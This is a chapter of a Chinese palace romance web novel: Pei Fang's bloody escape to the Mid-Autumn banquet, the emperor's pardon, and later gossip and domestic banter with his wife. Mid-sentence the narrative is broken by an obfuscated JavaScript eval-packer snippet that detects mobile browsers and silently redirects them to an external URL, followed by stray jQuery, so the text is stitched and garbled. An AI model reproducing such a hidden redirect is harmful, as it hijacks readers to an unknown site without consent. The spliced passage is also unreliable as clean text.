三刻钟之前,有小黄门将御赐酒菜奉入乾元殿,说是今日佳节,圣上特许,对过令牌验过酒菜之后,门口守卫的御林军便放他进去了。
那小黄门一边娴熟布菜一边对裴放道:“今日宫宴,裴司马的夫人也参加了,她拿了皇后娘娘的玉牌进宫,还求娘娘救她夫君。”
话音一落,裴放伸手扼住了他的脖颈:“谁让你来的?”
筷子摔落在地上,小黄门被迫仰着头,竭力保持镇定:“皇后娘娘说,人须自救,她给裴司马一个机会,能不能活着见到您的夫人,全看司马自己。”
裴放眼神凛冽,过了片刻,才松开他。
“什么机会?”
小黄门顺了两口气,一撩衣袍,从大腿内侧解下一把小臂长的匕首,他将匕首奉给裴放。
裴放没有犹豫,接过匕首豁然起身。
素娘孤身入宫已是冒险,倘若她在宫宴上有个万一……
他根本没有时间犹豫,不管皇后有什么意图,他都得抓住这唯一的机会。
被关在乾元殿的这段时日,他想了很多。
原以为这一世他能改变结局,结果到头来,却还是逃不过。
既然注定要死,那他死也要在素娘身边。
他握紧匕首朝门口走去,脚步迫切。
“等一等!”那小黄门突然出声。
裴放回头,警惕地看着他。
小黄门几步上前,裴放下意识将匕首对准了他,没承想那小黄门竟不闪不避,他直直撞上裴放手中的尖刃,在他缩手之际抓住他的手腕,往自己身前一推。
匕身整把没入,小黄门嘴角溢出暗红色的血来,他朝裴放轻轻点了点头。
“司马、可以去了。”
裴放眉头皱起,眼睁睁看着那小黄门倒在地上,主动闭上了眼睛。
他本就是带着必死的决心过来的,皇后娘娘承诺会照顾好他弟弟,他在帝后之间当双面间谍时刻如履薄冰,这么多年从未睡过一个好觉,已是十分疲倦了。
有个痛快的死法,挺好的,不然,被圣上想起来秋后算账,到时求死都难。
比起那些从慎刑司抬出来的家伙,他的下场已算是很好了。
裴放朝他的尸身看了一眼,随后大踏步走到门边,拉开殿门。
门口的御林军尚未来得及反应,就被他割破喉咙夺下了佩剑,他从小习武,一身功夫至今未曾落下,此刻更是灌注了一腔悲恨,如同地狱里放出的恶鬼,不杀破人间不回头。
人,固有一死,为何独他与素娘总饮恨而终?
为何他们不能拥有寻常人的幸福。
为何要他一次又一次,回到这丑恶的人间,与爱人一世又一世的死别。
世人万千,唯他不得善终。
他不服!
剑尖贴着裴放的鼻尖掠过,发冠落地,凌乱长发下遮住的,是一双杀红了的眼睛。
御林军只听皇帝一人之命令,元兴皇帝只下令困住他,却未曾说过要取他性命,将士们不敢对他下死手,一路擒拿,竟追着他到了紫宸殿。
今日中秋宫宴,帝后皆在紫宸殿中,裴放持剑杀至门口,无异于行刺。
“胆敢殿前行刺,杀无赦!”
秦超大喝一声,身为御林军将领他早受够了这鸟气,他们不敢对裴放下死手,但裴放这个杀神却是来真的,害他白白损失了多少部下。
这下好了,给他安个刺杀皇帝的罪名,直接杀了他皇帝也不能说什么。
此时裴放刚一箭射中礼王,他扔了弓,一脚挑起长剑,剑指大殿。
他背后十丈之外,是逐渐将他包围的御林军将士,正张弓搭箭。
殿内,徐素湘顺着箭矢过来的方向颤颤抬眼,在看见裴放的一刹那,禁不住泪如雨下。
此刻所有的恐惧与委屈,担忧和思念,统统袭上心头。
她费尽心力来到这里,就是为了再见他一面。
徐素湘抬起脚,不顾一切地朝他奔了过去。
她提着裙摆,跨过大殿的门槛,穿过廊下,步下台阶,翩跹得像是一只蝴蝶。
裴放瞳孔一颤,视线一瞬不瞬地粘在她身上,眼看着她下了台阶,他毫不犹豫扔下长剑,迎着她飞奔而去。
他们,总归是要死在一起的。
这次,也一样。
弓弦满张,秦超的手轻轻抬起,只需要一个落下的手势,神箭手们的箭矢就能把这一对苦命鸳鸯射成筛子。
徐素湘朝裴放张开双手,糊满泪水的脸上绽出一个笑颜。
她扑进他怀里,紧紧搂住他的腰。
裴放微微俯身,如捧珍宝,恨不得将她嵌进胸膛。
“素娘!”
“夫君。”
秦超眯起了眼睛,手势渐渐往下。
等到现在,他已经够仁慈了。
此时大殿里跟着奔出个人影来,因为太过紧张,于田跨过门槛时险些拌了一跤。
“住手——”他扯着嗓子,急急朝御林军喊话,“皇上有命,请裴司马入殿回话!”
只听得秦超“啧”了一声,将士们手里拉满的弓瞬间就泄了气。
元兴皇帝坐回龙椅上,方才远远看着裴放的模样,他竟想起了那日他推开自己迎接天雷时的样子。
那神情,也是这般视死如归。
老道士说天命不可违,是裴放逆天改命,以一己之力扭转了东苍之国运。
若他今日杀了这夫妻二人,引得百官寒心,天下百姓又将如何看他?
到时他真成了徐氏口中的“昏君”,会不会有下一道天雷在等他?
好不容易改了天命,他怎可再顺着天命将手中的江山葬送?
他扪心自问,竟惊出一身冷汗。
裴放杀不得!
礼王,也留不得。
他遣散了女眷,当着百官的面,拿出了裴放呈上来的罪证,当堂审起了礼王。
皇后领着女眷们退出紫宸殿,言语安抚了众人一番,最后肃容道:“今日之后,若传出礼王与徐氏之间有半个字的不实之言,本宫必追查到底,绝不轻饶!”
有皇后为徐素湘撑腰,女眷们唯有诺诺称是。
礼王和徐素湘的闲话不能传,但徐素湘成婚五年仍是处子之身这样的闲话她们却是敢传的,这事甚至比她红杏出墙还要劲爆。
女眷们私底下纷纷猜测,裴放是不是有什么隐疾,外面瞧着一派潇洒倜傥的模样,内里竟是这般提不起劲。
也有猜裴放不好女色好男色的,说侯府当初挑中徐素湘,分明是为了给裴放做障眼法。
更离谱的都有。
“说是……说是……”翠竹红着脸半天也说不出来。
徐素湘放下紫苏饮,拿眼看她:“说什么?”
翠竹脸更红了,又不敢违逆主子,只好吭哧吭哧附在徐素湘耳边,与她低声耳语。
徐素湘听完亦是脸红,啐了一声:“什么没有……没有那东西还能算是男人吗……”
话音渐低。
“没有什么?”
裴放从外面掀了帘子进来,一边走到盆边洗手,一边看着主仆二人。
翠竹朝他一福,忙低着头打了帘子出去。
徐素湘起身给他递手巾:“没什么,不过是说几句闲话罢了。”
裴放接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982778|172349||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过巾子擦了手,低头细细看她。
“既是没什么,怎地还脸红了?”
徐素湘摸了摸自己的脸,果然烫得很,她低着头,视线正对着裴放的下半身,想起刚才听来的浑话,不由捂住了脸。
裴放更纳闷了,见她扭扭捏捏不肯把手拿下来,他干脆将她打横抱起,坐在了椅子上。
见她还不肯撒手,他无奈叹了一声:“可是外面有人传你的闲话?你告诉我,我亲自去找他算账。”
徐素湘闻言放下了手:“传我什么闲话?”
这下轮到裴放说不上来了。
那日因为礼王恶意污蔑,素娘不得不说出自己还是完璧之身来自证清白,自那之后,他时不时就能听见一些风言风语。
不是说她笼不住夫君,就是笑她老姑婆。
裴放不愿说出来令她难受。
“没传什么。”他岔开话题道,“圣上派往鄂州的人马已经传信回来,今日朝中大臣为怎么处置礼王的问题吵得不可开交。”
徐素湘坐在他腿上,看着他:“皇上会处死他么?”
“不好说。”裴放摇了摇头,“皇上本就偏爱礼王,加上这段时日丽妃没少哭求,恐怕就算皇上当初想过要处死他,如今也动摇了。”
徐素湘哼了一声,在心里骂了一句“昏君”。
裴放捏了捏她的鼻子:“可不能骂出声来。”
徐素湘拿开他的手:“你歇一歇,我去叫人传饭。”
那日之后,元兴皇帝恢复了裴放武安侯的爵位,府邸也原样赐还,因鄂州一事他到底有功,还升了他的职位。
他如今是兵部侍郎,连升两级,也算是皇帝给他的一点补偿了。
回府后,徐素湘办的第一件事就是去兵马司领回了红菱的尸身,将她安葬。
翠竹和青松赶回来时,一切已重新步入正轨,两人心情很是复杂,侯府还是他们离京前的那个侯府,但有些人却永远不在了。
尤其是翠竹,哭了两日,眼睛都哭肿了。
徐素湘原本好了些,又被她带着难受起来。
要不是裴放私下里点了翠竹一句,她可能到现在还走不出来。
“不忙吃饭。”裴放把她捞回腿上,仰面看她,“说说,方才在脸红什么?”
这人怎么没完没了的,徐素湘好不容易褪下的脸红又要烧起来了。
“都说了没什么!”她企图推开他的手。
奈何裴放箍着她不放,徐素湘没法,只能看着她道:“你松开,我就告诉你。”
裴放也不怕她跑,当即就松开了手。
“就是……”徐素湘磨磨蹭蹭的,绞着手指好半天说不出来一个字。
裴放饶有兴味地看着她。
徐素湘看他那模样,咬了咬牙,伸手摸了他一把。
“她们说你没有这个!”
她说完就跑,留下裴放愣在椅子上。
她刚刚……摸了他哪儿?!
裴放脑子里嗡嗡的,竟都想不起去追她。
徐素湘红着脸跑出来,恨得拍自己那只作死的手。
翠竹刚进院子没注意她的神色,还以为是有蚊子咬她,拿起扇子在她旁边挥了挥,对她道:“夫人,三姑奶奶身边的芷儿来了。”
徐素湘顿时回神,她摸了摸自己的脸,问翠竹:“这个时辰,她来是有什么事?”
翠竹摇头:“她没说,但奴婢瞧着,她脸色不大好。”
徐素湘看了看天边即将落下的太阳,扶着翠竹的手去偏厅。
两人才跨过门槛,就听芷儿噗通一声朝她跪了下去,嘴里哭道:“求舅奶奶给我们奶奶做主——”